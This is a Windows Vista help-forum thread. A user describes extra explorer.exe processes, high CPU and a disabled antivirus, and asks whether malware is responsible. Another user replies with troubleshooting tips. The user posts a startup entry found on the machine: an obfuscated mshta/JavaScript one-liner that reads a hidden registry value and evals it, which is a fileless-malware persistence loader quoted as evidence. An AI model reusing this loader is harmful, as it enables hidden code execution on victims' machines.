How many instances (processes) of the explorer.exe should be normally running?

albertz

Member
Windows Vista x64 Ultimate with 4 Gigs main memory.

Started when logged in. Windows Ex;plorer was running slow, taking a long time to produce a right mouse click menu on a single file. I've notice over the past several months Windows Explorer hangs up often, sometimes taking a long time to perform simple functions such as reading and changing to another folder. I often need to wait a long time for it to perform normal again

With only one Windows Explorer active (opened) there are always three instances of the Explorer from the task manager.

I logged off then back in again. Without opening the Explorer there are still three instances of the Explorer running, trying to close the last two *32 instances each re-appears in the taskmanger.

No matter how many Explorer windows are opened there are always three instances running in the taskmager.

Taskmager

Explorer.exe Windows Explorer - 33,376 K
Explorer.exe *32 Windows Explorer - 1,928 K
Explorer.exe *32 Windows Explorer - ~5,650 K (K constantly changing from ~5,650 - ~5,950 and sometimes much higher ) K isn't dependent on how many Windows Explorers have actual opened windows.

If I try to end either of the Explorer *32 processes they immediately restart.

_____

I also noticed sometimes with no large applications running the cpu - Intel Core 2 (duo) sometimes runs constantly at 100 percent. Perhaps Vista is doing something in the background, but I've been noticing the cpu usage running at 100 percent with from one to a few small utilities or applications running.

PC has four gigs of main memory installed.

A virus scan did removed a monster virus, but there are still three instances of the Explorer running when the Explore hasn't been opened.

I have tried a reboot and login but again there are always three Windows explorer processes shown in the taskmanger even with from none to four or more Explorer windows opened.

Is this normal behavior or perhaps some sort of malware, etc.?
 

My Computer

System One

  • Manufacturer/Model
    Thinkcentre
    CPU
    Intel Core 2 CPU 2.67 Ghz
    Motherboard
    OEM
    Memory
    4 GB
    Monitor(s) Displays
    NEC
    Screen Resolution
    1920 x 1080p
I noticed on the first restart and login two instances of the command processor and two instances of the powershell running all the time.

After sometime being logged in Microsoft Security Essentials produced a message that it wasn't running and protecting the OS.

After several attempts Microsoft Security Essentials would not re-start. All of sudden the screen went black and PC rebooted on it's own.

After rebooting and login I opened the task manager and closed the two instances of the command processor and two instance of the powershell. There is now only one instance of the Windows Exporer running in the task manager.

I'm thinking perhaps there is sort of malware installed on the PC that's possibly activated and initialized during login?

I'm going to un-install any recently installed programs to determine if any are causing problems. I had installed some sound mixers including Equalizer APO.

I'm looking around for a simple utility which I can adjust left and right channels, treble, base and possibly something to equalize the sound output to a stereo receiver.

Currently I'm using the Microsoft Windows High Definition Audio Device driver installed with only the "Speakers" as a sound device. No microphone, line input and any other sound device installed.

IIRC, the Lenovo Thinkcentre OEM sound card card driver is ADI SoundMax. However the OEM sound card drivers doesn't include enhancements as with the Windows driver. So I switched back to the Windows HD driver.

Windows driver's audio enhancements include:

Bass Boost and Low Frequency Protection
Virtual Surround
Room Correction
Loudness Equalization

The only problem with either sound driver is there is no equalization and task bar balance control of the left and right speaker output.
 
Last edited:

My Computer

System One

  • Manufacturer/Model
    Thinkcentre
    CPU
    Intel Core 2 CPU 2.67 Ghz
    Motherboard
    OEM
    Memory
    4 GB
    Monitor(s) Displays
    NEC
    Screen Resolution
    1920 x 1080p
I found a strange script in startup. Perhaps this is some sort of malware or something left over from one of the sound control applications?

C:\Windows\System32\cmd.exe /C start "" mshta.exe "javascript:A8veWZh="z";td13=new ActiveXObject("WScript.Shell");QNM2Svh="hKvzFCN";Evsv9=td13.RegRead("HKCU\\software\\sjnt\\tspl");D24HZwal="ixAVut0";eval(Evsv9);F1RhXFI="6hSyCraF";"
 

My Computer

System One

  • Manufacturer/Model
    Thinkcentre
    CPU
    Intel Core 2 CPU 2.67 Ghz
    Motherboard
    OEM
    Memory
    4 GB
    Monitor(s) Displays
    NEC
    Screen Resolution
    1920 x 1080p
I was reading your thread a few days ago and it was like deja vu. Out of no where, when I tried to start Windows Explorer, it would just sit there trying to find the drives and partitions. I never had that problem. A scan with Malwarebytes revealed nothing. Long story short, I shut the system down over night and when I started it the next morning, the problem was gone (and still is).

In regards to IE, I looked in Process (without IE running) and only explorer.exe was running. When I started IE, there were three instances of the *32 running. Tonight, there are 5 instances of it running.

If you have a large number of items in the msconfig.exe Startup folder, any of those could cause the CPU usage you're referring to. You can prune those if you wish. You could do a clean boot to see if the problem recurs.

As far as I know MSE is no longer supported (updated) in Vista.

Is your Vista up to date?
 

My Computer

System One

  • Operating System
    Vista Home Premium 64 bit SP2
    Manufacturer/Model
    Cyberpower
    CPU
    Intel Quad CPU Q6700 2.67 GHZ
    Motherboard
    NVIDIA 780i
    Memory
    4 GB
    Graphics Card(s)
    MSI GTX 560 TI Twin Frozr
    Sound Card
    Sound Blaster SB Audigy
    Monitor(s) Displays
    Viewsonic VG2436
    Screen Resolution
    1920x1080p
    Hard Drives
    Samsung HD 105SI
    WDC WD20
    Case
    Apevia XJupiter
    Cooling
    air
    Keyboard
    Logitech MX 3200
    Mouse
    Logitech MX 600
    Internet Speed
    30 Mbps
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